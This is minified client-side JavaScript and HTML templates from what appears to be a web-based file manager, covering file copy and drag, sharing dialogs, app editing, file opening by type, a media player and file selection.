0==a&&(a=0),$.ajax({url:"index.php?explorer/pathCopyDrag",type:"POST",dataType:"json",data:n(e)+"&path="+urlEncode(i+"/")+"&filename_auto="+Number(a),beforeSend:function(){Tips.loading(LNG.moving)},error:core.ajaxError,success:function(e){Tips.close(e),e.code&&core.playSound("drag_drop"),"function"==typeof t&&t(e.info)}}))},T=function(){var e=function(e,i){var t='<div style="padding:20px;">null!</div>';if(0!=e.length){t='<div style="height:200px;overflow:auto;padding:10px;width:400px"><b>'+LNG.clipboard_state+LNG[i]+"</b><br/>";for(var a=40,n=0;e.length>n;n++){var o=e[n],s=o.path;s=a>s.length?s:"..."+s.substr(-a),t+="<br/>"+o.type+": <a href='javascript:ui.pathOpen.open(\""+htmlEncode(o.path)+'","'+o.type+"\");'>"+s+"</a>"}t+="</div>"}return t};$.ajax({url:"index.php?explorer/clipboard",dataType:"json",error:core.ajaxError,success:function(i){i.code&&$.dialog({title:LNG.clipboard,padding:0,height:200,width:400,content:e(i.data,i.info)})}})},S=function(e,i,t){var a=function(){$.ajax({url:"index.php?fav/del&name="+urlEncode(e),dataType:"json",async:!1,success:function(e){"function"==typeof i&&i(e)}})};return t?(a(),void 0):($.dialog({id:"dialog_fav_remove",fixed:!0,icon:"question",title:LNG.fav_remove,width:200,padding:"40px 20px",content:LNG.fav_remove+"?",ok:a,cancel:!0}),void 0)},j=function(e){if(e){if(-1==trim(core.pathClear(e.path),"/").indexOf("/")){var i=core.getPathIcon(e.path,e.name);""!=i.icon&&(e.ext=i.icon,e.name=i.name)}$.ajax({url:"index.php?fav/add",dataType:"json",data:e,success:function(e){Tips.tips(e),e.code&&"desktop"!=Config.pageApp&&ui.tree.refreshFav()}})}},P=function(e){var i={};return i.type=e.find("input[type=radio]:checked").val(),i.content=e.find("textarea").val(),i.group=e.find("[name=group]").val(),e.find("input[type=text]").each(function(){var e=$(this).attr("name");i[e]=$(this).val()}),e.find("input[type=checkbox]").each(function(){var e=$(this).attr("name");i[e]="checked"==$(this).attr("checked")?1:0}),i},E=function(e){e.find(".type input").change(function(){var i=$(this).attr("apptype");e.find("[data-type]").addClass("hidden"),e.find("[data-type="+i+"]").removeClass("hidden")}),e.find(".app_edit_select_icon").unbind("click").bind("click",function(){var i=G.basic_path+"static/images/file_icon/icon_app/";G.is_root||(i=""),core.api.pathSelect({type:"file",title:LNG.path_api_select_file,firstPath:i},function(i){var i=core.path2url(i);e.find(".app_edit_select_icon_input").val(i)})}),e.find(".size-full").unbind("click").bind("click",function(){var i=$(this).prop("checked");i?(e.find("[name=width]").val("100%"),e.find("[name=height]").val("100%")):(e.find("[name=width]").val("800"),e.find("[name=height]").val("600"))})},D=function(i,t,a){var n,o,s,r=LNG.app_create,l=UUID(),c=e("./tpl/app_edit.html"),d=template.compile(c);switch(void 0==a&&(a="user_edit"),"root_edit"==a&&(i=i),"user_edit"==a||"root_edit"==a?(r=LNG.app_edit,s=d({LNG:LNG,uuid:l,data:i})):s=d({LNG:LNG,uuid:l,data:{}}),$.dialog({fixed:!0,width:450,id:l,padding:15,title:r,content:s,button:[{name:LNG.preview,callback:function(){return core.openApp(P(n)),!1}},{name:LNG.button_save,focus:!0,callback:function(){var e=P(n);switch(a){case"user_add":var s=urlEncode(G.this_path+e.name);o="./index.php?app/user_app&action=add&path="+s;break;case"user_edit":o="./index.php?app/user_app&path="+urlEncode(i.path);break;case"root_add":o="./index.php?app/add&name="+urlEncode(e.name);break;case"root_edit":o="./index.php?app/edit&name="+urlEncode(e.name)+"&old_name="+urlEncode(i.name);break;default:}$.ajax({url:o,type:"POST",dataType:"json",data:{data:urlEncode(jsonEncode(e))},beforeSend:function(){Tips.loading()},error:core.ajaxError,success:function(e){if(Tips.close(e),e.code)if("root_edit"==a||"root_add"==a){if(!e.code)return;ShareData.frameTop("Openapp_store",function(e){e.App.reload()})}else"function"==typeof t?t():ui.f5()}})}}]}),n=$("."+l),G.is_root||$(".appbox .appline .right a.open").remove(),i.group&&n.find("option").eq(i.group).attr("selected",1),n.find(".aui_content").css("overflow","inherit"),a){case"user_edit":n.find(".name").addClass("hidden"),n.find(".desc").addClass("hidden"),n.find(".group").addClass("hidden"),n.find("option[value="+i.group+"]").attr("checked",!0);break;case"user_add":n.find(".desc").addClass("hidden"),n.find(".group").addClass("hidden"),n.find("[apptype=url]").attr("checked",!0),n.find("[data-type=url] input[name=resize]").attr("checked",!0),n.find("input[name=width]").attr("value","800"),n.find("input[name=height]").attr("value","600"),n.find("input[name=icon]").attr("value","oexe.png");break;case"root_add":n.find("[apptype=url]").attr("checked",!0),n.find("[data-type=url] input[name=resize]").attr("checked",!0),n.find("input[name=width]").attr("value","800"),n.find("input[name=height]").attr("value","600"),n.find("input[name=icon]").attr("value","oexe.png");break;case"root_edit":n.find("option[value="+i.group+"]").attr("selected",!0);break;default:}E(n)},F=function(){core.appStore()},O=function(e){e&&4>e.length&&"http"!=e.substring(0,4)||$.ajax({url:"./index.php?app/get_url_title&url="+e,dataType:"json",beforeSend:function(){Tips.loading()},success:function(i){var t=i.data;t=t.replace(/[\/\\]/g,"_"),Tips.close(i);var a={content:e,type:"url",desc:"",group:"others",icon:"internet.png",name:t,resize:1,simple:0,height:"70%",width:"90%"},n=urlEncode(G.this_path+t);e="./index.php?app/user_app&action=add&path="+n,$.ajax({url:e,type:"POST",dataType:"json",data:{data:urlEncode(jsonEncode(a))},success:function(e){Tips.close(e),e.code&&ui.f5()}})}})};return{strSort:s,appEdit:D,appList:F,appAddURL:O,share:u,shareBox:f,setBackground:v,createLink:_,createProject:g,newFile:r,newFolder:l,rname:c,unZip:L,zipDownload:w,zip:N,copy:p,cute:b,info:x,remove:d,cuteDrag:C,copyDrag:z,past:y,clipboard:T,fav:j,favRemove:S}}),define("app/common/tpl/share.html",[],'<div class=\'content_box\'>\n <div class=\'title\'>\n <div class="titleinfo">{{LNG.share_title}}</div>\n <div class="share_view_info"></div>\n </div>\n <div class=\'content_info\'>\n <div class="input_line">\n <span class="input_title">{{LNG.share_path}}:</span>\n <input id="share_name" type="text" name="path" value="" />\n <div style="clear:both"></div>\n </div>\n <div class="input_line">\n <span class="input_title">{{LNG.share_name}}:</span>\n <input type="hidden" name="sid"/>\n <input type="hidden" name="type"/>\n <input type="hidden" name="name"/>\n <input id="share_name" type="text" placeholder="{{LNG.share_name}}" name="show_name"/>\n <a href="javascript:void(0);" class="share_more">{{LNG.more}}<b class="caret"></b></a>\n <div style="clear:both"></div>\n </div>\n\n <div class="share_setting_more hidden">\n <div class="input_line">\n <span class="input_title">{{LNG.share_time}}:</span>\n <input id="share_time" type="text" placeholder="{{LNG.share_time}}" name="time_to"/>\n <i class="desc">{{LNG.share_time_desc}}</i>\n <div style="clear:both"></div>\n </div>\n <div class="input_line">\n <span class="input_title">{{LNG.share_password}}:</span>\n <input type="text" placeholder="{{LNG.share_password}}" name="share_password"/>\n <i class="desc">{{LNG.share_password_desc}}</i>\n <div style="clear:both"></div>\n </div>\n <div class="input_line share_others">\n <span class="input_title">{{LNG.others}}:</span>\n <label class="label_code_read">\n <input type="checkbox" name="code_read" class="kui-checkbox size-small" value="">\n <span>{{LNG.share_code_read}}</span>\n </label>\n <label>\n <input type="checkbox" name="not_download" class="kui-checkbox size-small" value="">\n <span>{{LNG.share_not_download}}</span>\n </label>\n <label class="label_can_upload">\n <input type="checkbox" name="can_upload" class="kui-checkbox size-small" value="">\n <span>{{LNG.share_can_upload}}</span>\n </label>\n\n <div style="clear:both"></div>\n </div>\n </div>\n\n <div class="input_line share_has_url clear">\n <span class="input_title">{{LNG.share_url}}:</span>\n <div class="input-group">\n <input type="text" class="share_url" aria-label="Text input with segmented button dropdown">\n <div class="input-group-btn">\n <button type="button" class="btn btn-default open_window">{{LNG.open}}</button>\n <button type="button" class="btn btn-default qrcode"><i class="icon-qrcode"></i></button>\n </div>\n <!-- <div class="share_jiathis_box"></div> -->\n </div>\n <div style="clear:both"></div>\n </div>\n </div>\n <div class="share_action">\n <button type="button" class="btn btn-primary share_create_button">{{LNG.share_create}}</button>\n <a type="button" href="javascript:void(0);" class="share_remove_button">{{LNG.share_cancle}}</a>\n </div>\n</div>'),define("app/common/tpl/fileinfo/path_info_more.html",[],"<div class='pathinfo'>\n <div class='p' style='line-height:40px;'>\n <div class='title'>{{LNG.info}}:</div>\n <div class='content'>\n {{file_num}} {{LNG.file}},{{folder_num}} {{LNG.folder}}</div>\n <div style='clear:both'></div>\n </div>\n <div class='line'></div>\n <div class='p'>\n <div class='title'>{{LNG.size}}:</div>\n <div class='content'>{{size_friendly}} ({{size}} Byte)</div>\n <div style='clear:both'></div>\n </div>\n \n <div class='line'></div>\n <div class='p'>\n <div class='title'>{{LNG.permission}}:</div>\n <div class='content'>{{mode}}</div>\n <div style='clear:both'></div>\n </div>\n {{if is_root==\"1\"}}\n <div class='p'>\n <div class='title'>{{LNG.permission_edit}}:</div>\n <div class='content'><input type='text' class='info_chmod' value='755'/>\n <button class='btn btn-default btn-sm edit_chmod' type='button'>{{LNG.button_save}}</button></div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n</div>\n"),define("app/common/tpl/app_edit.html",[],"<div class='appbox'>\n <div class='appline name'>\n <div class='left'>{{LNG.name}}</div>\n <div class='right'><input type='text' name='name' value='{{data.name}}'/></div>\n <div style='clear:both;'></div>\n </div>\n <div class='appline desc'>\n <div class='left'>{{LNG.app_desc}}</div>\n <div class='right'><input type='text' name='desc' value='{{data.desc}}'/></div>\n <div style='clear:both;'></div>\n </div>\n <div class='appline icon'>\n <div class='left'>{{LNG.app_icon}}</div>\n <div class='right'><input type='text' name='icon' class=\"app_edit_select_icon_input\" value='{{data.icon}}'/>\n <button class='btn btn-default btn-sm open app_edit_select_icon btn-right'>\n <i class=\"font-icon icon-folder-open\"></i>\n </button>\n </div>\n <div style='clear:both;'></div>\n </div>\n <div class='appline group'>\n <div class='left'>{{LNG.app_group}}</div>\n <div class='right'>\n <select name='group'>\n <option value ='others'>{{LNG.app_group_others}}</option>\n <option value ='game'>{{LNG.app_group_game}}</option>\n <option value ='tools'>{{LNG.app_group_tools}}</option>\n <option value ='reader'>{{LNG.app_group_reader}}</option>\n <option value ='movie'>{{LNG.app_group_movie}}</option>\n <option value ='music'>{{LNG.app_group_music}}</option>\n <option value ='life'>{{LNG.app_group_life}}</option>\n <select>\n </div>\n <div style='clear:both;'></div>\n </div>\n <div class='appline type'>\n <div class='left'>{{LNG.app_type}}</div>\n <div class='right'>\n <input class='w20 kui-radio size-small' type='radio' id='url{{uuid}}' apptype='url' value='url' name='{{uuid}}type' {{if data.type=='url'}}checked='checked'{{/if}}/>\n <label for='url{{uuid}}'>{{LNG.app_type_url}}</label>\n <input class='w20 kui-radio size-small' type='radio' id='app{{uuid}}' apptype='app' value='app' name='{{uuid}}type' {{if data.type=='app'}}checked='checked'{{/if}}/>\n <label for='app{{uuid}}'>{{LNG.app_type_code}}</label>\n <input class='w20 kui-radio size-small' type='radio' id='app_link{{uuid}}' apptype='app_link' value='app_link' name='{{uuid}}type' {{if data.type=='app_link'}}checked='checked'{{/if}}/>\n <label for='app_link{{uuid}}'>{{LNG.app_type_link}}</label>\n </div>\n <div style='clear:both;'></div>\n </div>\n <div class='appline' data-type='url'>\n <div class='left'>{{LNG.app_display}}</div>\n <div class='right'>\n <input class='w20 kui-checkbox size-small' type='checkbox' id='simple{{uuid}}' name='simple' {{if data.simple}}checked='true'{{/if}} />\n <label for='simple{{uuid}}'>{{LNG.app_display_border}}</label>\n <input class='w20 kui-checkbox size-small' type='checkbox' id='resize{{uuid}}' name='resize' {{if data.resize}}checked='true'{{/if}} />\n <label for='resize{{uuid}}'>{{LNG.app_display_size}}</label>\n </div>\n <div style='clear:both;'></div>\n </div>\n <div class='appline' data-type='url'>\n <div class='left'>{{LNG.app_size}}</div>\n <div class='right'>\n <input class='w30' type='text' name='width' value='{{data.width}}'/>({{LNG.width}})&nbsp;&nbsp;\n <input class='w30' type='text' name='height' value='{{data.height}}'/>({{LNG.height}})\n\n <input class='w20 kui-checkbox size-small size-full' type='checkbox' id='size-full{{uuid}}' \n {{if data.width=='100%' && data.height=='100%'}}checked='true'{{/if}} />\n <label for='size-full{{uuid}}'>{{LNG.full_screen}}</label>\n </div>\n <div style='clear:both;'></div>\n </div>\n <div class='appline content'>\n <div class='left hidden' data-type='app'>{{LNG.app_code}}</div>\n <div class='left hidden' data-type='app_link'>{{LNG.app_code}}</div>\n <div class='left' data-type='url'>{{LNG.app_url}}</div>\n <div class='right'><textarea name='content'>{{data.content}}</textarea></div>\n <div style='clear:both;'></div>\n </div>\n</div>\n"),define("app/common/pathOpen",["./myPlayer"],function(e){var i=function(e,i){if(void 0!=e){if(!core.pathReadable(e))return Tips.tips(LNG.no_permission_read_all,!1),core.playSound("error"),void 0;if("folder"==i)return"explorer"==Config.pageApp?ui.path.list(e+"/"):core.explorer(e),void 0;if("oexe"!=i){if(i||(i=core.pathExt(e)),l(i))return c(e),void 0;if("swf"==i)return $.dialog({resize:!0,fixed:!0,ico:core.icon("swf"),title:core.pathThis(e),width:"75%",height:"65%",padding:0,content:core.createFlash(core.path2url(e))}),void 0;if(inArray(core.filetype.archive_list,i))return core.zipView(e),void 0;if("url"==i)return core.fileGet(e,function(i){var t=i.match(/URL=(.*)/);t.length>=2?window.open(t[1]):s(e)}),void 0;if("webloc"==i)return core.fileGet(e,function(i){try{var t=$($.parseXML(i)),a=t.find("string").text();window.open(a)}catch(n){s(e)}}),void 0;if("html"==i||"htm"==i){var a=core.path2url(e);return core.openDialog(a,core.icon("html"),core.pathThis(e)),void 0}if(inArray(core.filetype.image,i)){var a=e;return-1==a.indexOf("http:")&&(a=core.path2url(a)),MaskView.image(a),void 0}if(inArray(core.filetype.music,i)||inArray(core.filetype.movie,i)){var a=core.path2url(e,!1);return p([{url:a,name:urlDecode(core.pathThis(e)),ext:i}]),void 0}if("pdf"!=i)return inArray(core.filetype.doc,i)?(c(e),void 0):inArray(core.filetype.text,i)?(s(e),void 0):("editor"==Config.pageApp?Tips.tips(i+LNG.edit_can_not,!1):t(e,""),void 0);var n=core.path2url(e),a="./lib/plugins/pdfjs/web/viewer.html?file="+urlEncode(n);if(canvasSupport()){var o="pdf"+UUID(),r='<div id="'+o+'" style="height:100%;"> <a href="'+n+'" target="_blank" style="display:block;margin:0 auto;margin-top:80px;font-size:16px;text-align:center;">'+LNG.error+" "+LNG.download+" PDF</a></div>";$.dialog({resize:!0,fixed:!0,ico:core.icon(i),title:core.pathThis(e),width:800,height:400,padding:0,content:r}),PDFObject.embed(n,"#"+o)}else core.openDialog(a,core.icon(i),htmlEncode(core.pathThis(e)))}else if("string"==typeof e){var d=e;"string"!=typeof e&&(d=e.content.split("'")[1]),core.fileGet(d,function(e){var i=jsonDecode(e);i.name=core.pathThis(d),core.openApp(i)})}else core.openApp(e)}},t=function(e,i){void 0==i&&(i="");var t='<div class="unknow_file can_select" style="width:260px;word-break: break-all;"><span>'+LNG.unknow_file_tips+"<br/>"+i+"</span><br/><br/>"+'<a class="btn btn-default btn-nomal" href="javascript:ui.pathOpen.openEditorForce(pathHashDecode(\''+pathHashEncode(e)+"'));\"> "+LNG.edit+" </a>&nbsp;"+'<a class="btn btn-success btn-nomal ml-15" href="javascript:ui.pathOpen.download(pathHashDecode(\''+pathHashEncode(e)+"'));\"> "+LNG.unknow_file_download+" </a></div>";$.dialog({id:"open_unknow_dialog",fixed:!0,icon:"warning",title:LNG.unknow_file_title,padding:30,content:t,cancel:!0}),$(".unknow_file a").unbind("click").bind("click",function(){$.dialog.list.open_unknow_dialog.close()})},a=function(e){$.dialog({icon:"succeed",title:!1,time:1.5,content:LNG.download_ready+"..."}),isWap()?window.open(e):$('<iframe src="'+e+'" style="display:none;width:0px;height:0px;"></iframe>').appendTo("body")},n=function(e){if(core.authCheck("explorer:fileDownload",LNG.no_permissiondownload)&&e){if(!core.pathReadable(e))return Tips.tips(LNG.no_permission_read_all,!1),core.playSound("error"),void 0;var i="index.php?explorer/fileDownload&access_token="+G.access_token+"&path="+urlEncode(e);G.share_page!==void 0&&(i="index.php?share/fileDownload&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(e)),"http"==e.substr(0,4)&&(i=e),a(i)}},o=function(e){if(void 0!=e){if(!core.pathReadable(e))return Tips.tips(LNG.no_permission_read_all,!1),core.playSound("error"),void 0;var i=core.path2url(e);window.open(i)}},s=function(e){if(e){if(!core.pathReadable(e))return Tips.tips(LNG.no_permission_read_all,!1),core.playSound("error"),void 0;var t=core.pathExt(e);return"Win32"==navigator.platform||"Windows"==navigator.platform,inArray(core.filetype.doc,t)?(c(e,!0),void 0):(core.pathThis(e),inArray(core.filetype.bindary,t)||inArray(core.filetype.music,t)||inArray(core.filetype.image,t)||inArray(core.filetype.movie,t)||inArray(core.filetype.doc,t)?(i(e,t),void 0):(r(e),void 0))}},r=function(e){var i=ShareData.frameTop();if(i.Editor!==void 0)return i.Editor.add(urlEncode(e)),void 0;if("editor"==Config.pageApp)return ShareData.frameChild("OpenopenEditor",function(i){i.Editor.add(urlEncode(e))}),void 0;if(ShareData.frameTop("OpenopenEditor")){var t=i.$.dialog.list.openEditor,a=0;t&&"hidden"==$(t.DOM.wrap).css("visibility")&&(a=200,t.display(!0).zIndex().focus()),setTimeout(function(){ShareData.frameTop("OpenopenEditor",function(i){i.Editor.add(urlEncode(e))})},a)}else{var n="./index.php?editor/edit#filename="+urlEncode(e);G.share_page!==void 0&&(n="./index.php?share/edit&user="+G.user+"&sid="+G.sid+"#filename="+urlEncode(e));var o=htmlEncode(urlDecode(core.pathThis(e)));core.openDialog(n,core.icon("edit"),o,"openEditor")}},l=function(e){if(!G.kodOffice)return!1;var i=".docx.doc.odt.rtf.djvu.fb2.epub.xps.//.docm.dotm.dot.dotx.mht.//.wps.wpt.";return i+=".xls.xlsx.ods.csv.//.xlt.xltx.xlsb.xlsm.//.et.ett.",i+=".pps.ppsx.ppt.pptx.odp.//.pot.potx.pptm.ppsm.potm.//.dps.dpt.",-1===i.indexOf("."+e+".")?!1:!0},c=function(e,i){var t="./index.php?explorer/officeView&access_token="+G.access_token+"&path="+urlEncode(e);return G.share_page!==void 0&&(t=G.app_host+"index.php?share/officeView&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(e)),i!==void 0&&(t+="&is_edit=1"),"page"==G.kodOffice?(window.open(t),void 0):(core.openDialog(t,core.icon(core.pathExt(e)),htmlEncode(core.pathThis(e))),void 0)},d=function(i){if(i){"string"==typeof i&&(i=[i]);var t=e("./myPlayer");t.play(i)}},p=function(e){var i=ShareData.frameTop();i.ui.pathOpen.playerInstance(e)};return{open:i,playerInstance:d,play:p,openEditor:s,openEditorForce:r,openWindow:o,openUnknow:t,downloadUrl:a,download:n} +}),define("app/common/myPlayer",[],function(e){var i="",t="",a="music_player",n="movie_player",o=function(e){var n=e==a?"mp3":"mp4",o="."+e+"_dialog",s=i,l={width:"70%",height:"60%"};e==a&&(s=t,l={width:"320px",height:"420px"});var c=$.dialog({id:e+"_dialog",simple:!0,ico:core.icon(n),title:"player",width:l.width,height:l.height,content:s,resize:!0,padding:0,fixed:!0,close:function(){var i=r(e);i.jPlayer("destroy")}});return c.DOM.wrap.addClass("myJPlayer"),$(o).find(".jPlayer-container")},s=function(e){return"music"==e?a:(void 0==e&&(e="mp3"),inArray(core.filetype.music,e)?a:n)},r=function(e){var i="."+e+"_dialog",t=$(i);return 0==t.length?!1:t.find(".jPlayer-container")},l=function(e){var i={mp4:"m4v",m4v:"m4v",mov:"m4v",ogv:"ogv",webm:"webmv",webmv:"webmv",flv:"flv",f4v:"flv",f4a:"flv",mp3:"mp3",wav:"wav",m4a:"mp3",aac:"mp3",ogg:"oga",oga:"oga",webma:"webma"},t=e.ext,a=i[t],n={extType:a,title:e.name,url:e.url,solution:"flv"==t||"f4v"==t?"flash":"html,flash"};return n[a]=e.url,n},c=function(e,i){if(i){var t=e.parents(".jPlayer"),a={solution:i.solution,swfPath:G.static_path+"js/lib/jPlayer/jquery.jplayer.swf"};t.attr("id",UUID()),e.jPlayer("destroy"),e.find(".jPlayer-container").children().remove(),e.jPlayer(jPlayerConfigInit(t,a)),e.find("object").length>0?t.addClass("flashPlayer"):t.removeClass("flashPlayer"),e.jPlayer("setMedia",i),setTimeout(function(){e.jPlayer("play")},150),jPlayerBindControl(t),setTimeout(function(){var e=t.parents(".dialog-simple").find(".aui_titleBar").attr("id"),a=$.dialog.list[e];a&&a.title(i.title)},100)}},d=function(e){var i=e[0].ext,t=s(i),n=r(t),d=l(e[0]);n||(n=o(t),t==a&&p.init()),t==a&&(d=p.insert(n,e,i)),c(n,d);try{$.dialog.list[t+"_dialog"].display(!0)}catch(u){}},p=function(){var e=[],i=0,t=null,a="circle",n=function(a,n){t=a;for(var s=e.length,r=0;n.length>r;r++){var c=!1,d=0;for(d=0;e.length>d;d++)if(e[d].url==n[r].url){c=!0;break}if(c){if(r==n.length-1)return i!=d&&o(d),!1}else e.push(l(n[r]))}return e.length==s?!1:(i=e.length-1,u(!0),e[i])},o=function(a){a=0>=a?0:a,a=a>=e.length-1?e.length-1:a,i=a;var n=e[a];c(t,n),u(!1)},s=function(t){switch(a){case"circle":"next"==t?e.length-1>i?o(i+1):o(0):0>i-1?o(e.length-1):o(i-1);break;case"rand":o(roundFromTo(0,e.length)-1);break;case"one":o(i);break;default:}},r=function(i){e.remove(i),o(i),u(!0)},d=function(i){var t=e[i],a=t.url+"&download=1";ui.pathOpen.downloadUrl(a)},p=function(){i=0,e=[],a="circle";var t=$(".jPlayer-music"),n=[{icon:"icon-retweet",loop:"circle"},{icon:"icon-random",loop:"rand"},{icon:"icon-refresh loop-one",loop:"one"}];t.find(".change-loop").unbind("click").bind("click",function(){var e=parseInt($(this).attr("data-loop"))+1;e=0>e?0:e,e=e>=n.length?0:e;var i=n[e];$(this).attr("data-loop",e).find("i").attr("class",i.icon),a=i.loop}),t.find(".play-backward").unbind("click").bind("click",function(){s("prev")}),t.find(".play-forward").unbind("click").bind("click",function(){s("next")}),t.find(".show-list").unbind("click").bind("click",function(e){t.parents(".music_player_dialog").toggleClass("hide-play-list"),stopPP(e)}),t.find(".play-list .item").die("click").live("click",function(e){var i=$(this).index();o(i),stopPP(e)}),t.find(".play-list .remove").die("click").live("click",function(e){var i=$(this).parents(".item"),t=i.index();return i.remove(),r(t),stopPP(e),!1}),t.find(".play-list .download").die("click").live("click",function(e){var i=$(this).parents(".item").index();return d(i),stopPP(e),!1})},u=function(a){var n=$(t).parents(".jPlayer");if(a){var o="";$.each(e,function(e,i){o+='<li class="item"> <span class="name">'+i.title+'</span> <div class="action-right"> <span class="download"><i class="icon-download-alt"></i></span> <span class="remove"><i class="icon-remove"></i></span> </div> </li>'}),n.find(".play-list .content").html(o)}return 0!=e.length&&e[i]?(n.find(".item-title").html(e[i].title),n.find(".item").removeClass("this"),n.find(".item:eq("+i+")").addClass("this"),f(n.find(".player-bg")),void 0):(i=0,n.find(".item-title").html("&nbsp; "),t.jPlayer("destroy"),t.find(".jPlayer-container").children().remove(),void 0)},f=function(e){var i=h(),t=h(),a="160deg",n="background-image: -webkit-linear-gradient("+a+", "+i+", "+t+"); background-image: -moz-linear-gradient("+a+", "+i+", "+t+"); background-image: -o-linear-gradient("+a+", "+i+", "+t+"); background-image: -ms-linear-gradient("+a+", "+i+", "+t+"); background-image: linear-gradient("+a+", "+i+", "+t+");";e.attr("style",n)},h=function(){return"#"+(16777215*Math.random()<<0).toString(16)};return{insert:n,init:p}}(),u=function(a){var o=s(a[0].ext);o==n?e.async(["lib/jPlayer/kod.flat/template.js","lib/jPlayer/jquery.jplayer.min.js","lib/jPlayer/kod.flat/control.js","lib/jPlayer/kod.flat/style.css"],function(){i=jplayerTemplateMovie,d(a)}):e.async(["lib/jPlayer/kod.flat/template.js","lib/jPlayer/jquery.jplayer.min.js","lib/jPlayer/kod.flat/control.js","lib/jPlayer/kod.flat/style.css"],function(){t=jplayerTemplateMusic,d(a)})},f=function(i,t){e.async(["lib/jPlayer/jquery.jplayer.min.js"],function(){var e={solution:"html",swfPath:G.static_path+"js/lib/jPlayer/jquery.jplayer.swf",media:{title:"",mp3:i},ready:function(){t.jPlayer("setMedia",e.media).jPlayer("play")}};t.jPlayer("destroy").children().remove(),t.jPlayer(e)})};return{play:u,playSound:f}}),define("app/src/explorer/tpl/file_create.html",[],"<div class=\"file select {{if type=='file'}}menufile{{else}}menufolder{{/if}} file_icon_edit\" id=\"makefile\">\n {{if list_type=='list'}}<span class=\"children_more\"></span>{{/if}}\n <div class=\"filename\" style=\"padding-top: 0px;\">\n <span class=\"title\">\n {{if type=='folder'}}\n <div class='ico' filetype='folder'>{{\"folder\" | core.icon}}</div>\n {{else}}\n <div class='ico' filetype='{{name_ext}}'>{{ext | core.icon}}</div>\n {{/if}}\n <div class=\"textarea\">\n {{if list_type=='icon'}}\n <textarea class='newfile fix'>{{newname}}</textarea>\n {{else}}\n <input class='newfile fix' value='{{newname}}'/>\n {{/if}}\n </div>\n </span>\n </div>\n <div style=\"clear:both;\"></div>\n</div>\n"),define("app/src/explorer/fileLight",[],function(){var e=$(),i=$(),t=function(){var e;e="list_split"!=G.user_config.list_type?$(".bodymain .fileContiner .file"):$(".bodymain .fileContiner .split_select .file"),i=e,f("clear"),n()},a=function(){var i=$(Config.SelectClass);e=i,i.length>1&&c(i),f("menufile"),o(),h()},n=function(){if(G.json_data&&G.json_data.filelist){var e=G.json_data.filelist.length+G.json_data.folderlist.length;$(".file_select_info .item_num").html(e+LNG.folder_info_item)}},o=function(){var i="",t=0,a=e;0!=a.length&&(i=a.length+LNG.folder_info_item_select,a.each(function(){t+=parseInt($(this).attr("data-size"))}),0!=t&&(i=i+" ("+core.fileSize(t)+")")),$(".file_select_info .item_select").html(i)},s=function(i){var t=e;if(void 0==i&&t&&t.length>=1&&(i=$(t[t.length-1])),void 0!=i&&!i.inScreen()){var a=$(".bodymain");"list_split"==G.user_config.list_type&&(a=i.parent());var n=i.offset().top-a.offset().top-a.height()/2+a.scrollTop();a.stop(!0).animate({scrollTop:n},100)}},r=function(e){return core.pathThis(m(e))},l=function(e){return e.find(".ico").attr("filetype")},c=function(e){if(G.json_data.info)switch(G.json_data.info.path_type){case G.KOD_USER_RECYCLE:return;case G.KOD_USER_FAV:return e.removeClass("menuFavPath").addClass("menuFavPathMore"),void 0;case G.KOD_USER_SHARE:if(-1==trim(G.this_path,"/").search("/"))return e.removeClass("menuSharePath").addClass("menuSharePathMore"),void 0;case G.KOD_GROUP_ROOT_SELF:case G.KOD_GROUP_ROOT_ALL:return e.removeClass("menuGroupRoot").addClass("menuGroupRootMore"),void 0;default:}e.removeClass("menufile menufolder").addClass("menuMore"),f()},d=function(e){var i={fileBox:"menufile",folderBox:"menufolder",menuRecyclePath:"menuRecyclePath",menuSharePathMore:"menuSharePath",menuFavPathMore:"menuFavPath",menuGroupRootMore:"menuGroupRoot",menuDefault:"menuDefault"};e.removeClass("menuMore");for(var t in i)e.hasClass(t)&&e.addClass(i[t]);f()},p=function(){var i=[];if(0!=e.length)return e.each(function(){i.push(m($(this)))}),i},u=function(){if(0!=e.length){var i=e;i.removeClass(Config.SelectClassName),i.each(function(){d($(this))}),e=$(),f(),o(),h()}},f=function(){0==e.length?($(".drop-menu-action li").addClass("disabled"),$(".drop-menu-action #past").removeClass("disabled"),$(".drop-menu-action #info").removeClass("disabled")):$(".drop-menu-action li").removeClass("disabled")},h=function(){var i=".close_item,.refresh,.newfile,.past,.info",t=".open_ie",a=".explorer,.createProject,.openProject",n=".close_item,.newfile,.refresh,.past,.down,.copy,.cute,.remove,.more_action,.clone,.info,.zip,.zip_zip,.zip_tar,.zip_tgz",o=".newfile,.cute,.past,.rname,.zip,.remove,.clone,.createLinkHome,.createLink,.createProject",s=$(".menuToolPath"),r="disabled";s.find(".context-menu-item").addClass(r),0==e.length?s.find(i).removeClass(r):1==e.length?(s.find(".context-menu-item").removeClass(r),"folder"==l(e)?s.find(t).addClass(r):s.find(a).addClass(r)):e.length>1&&s.find(n).removeClass(r),G.json_data&&G.json_data.info&&G.json_data.info.can_upload===!1&&s.find(o).filter(":not(."+r+")").addClass(r)},m=function(e,i){return void 0==i&&(i="data-path"),void 0!=e.attr("data-path-children")&&(i="data-path-children"),pathHashDecode(e.attr(i))};return{init:t,name:r,path:m,type:l,fileListSelect:function(i){return i&&(e=i),e},fileListAll:function(e){return e&&(i=e),i},select:a,setInView:s,setMenu:c,menuResetMore:h,resumeMenu:d,getAllName:p,clear:u,menuAction:f}}),define("app/src/explorer/fileSelect",[],function(){var e=!1,i=!1,t=!1,a=function(){$(Config.FileBoxClass).die("touchstart").live("touchstart",function(){$(this).hasClass("select")?ui.path.open():(ui.fileLight.clear(),$(this).removeClass("select"),$(this).addClass("select"),ui.fileLight.select())});var a=function(e){!e.hasClass(Config.TypeFolderClass)&&!e.hasClass("menuRecycleButton")||e.hasClass(Config.SelectClassName)||($(".selectDragTemp").removeClass("selectDragTemp"),e.addClass("selectDragTemp"))},l=function(){};$(Config.FileBoxClass).die("mouseenter").live("mouseenter",function(){i&&a($(this)),e||i||$(this).addClass(Config.HoverClassName),l($(this)),$(this).unbind("mousedown").bind("mousedown",function(e){if($(e.target).is("input")||$(e.target).is("textarea"))return!0;if($(this).focus(),rightMenu.hidden(),$(e.target).parents(".children_more").length>0)return ui.fileContent.pathChildrenTree($(this)),stopPP(e),!1;if(!(e.ctrlKey||e.metaKey||e.shiftKey||$(this).hasClass(Config.SelectClassName)))return 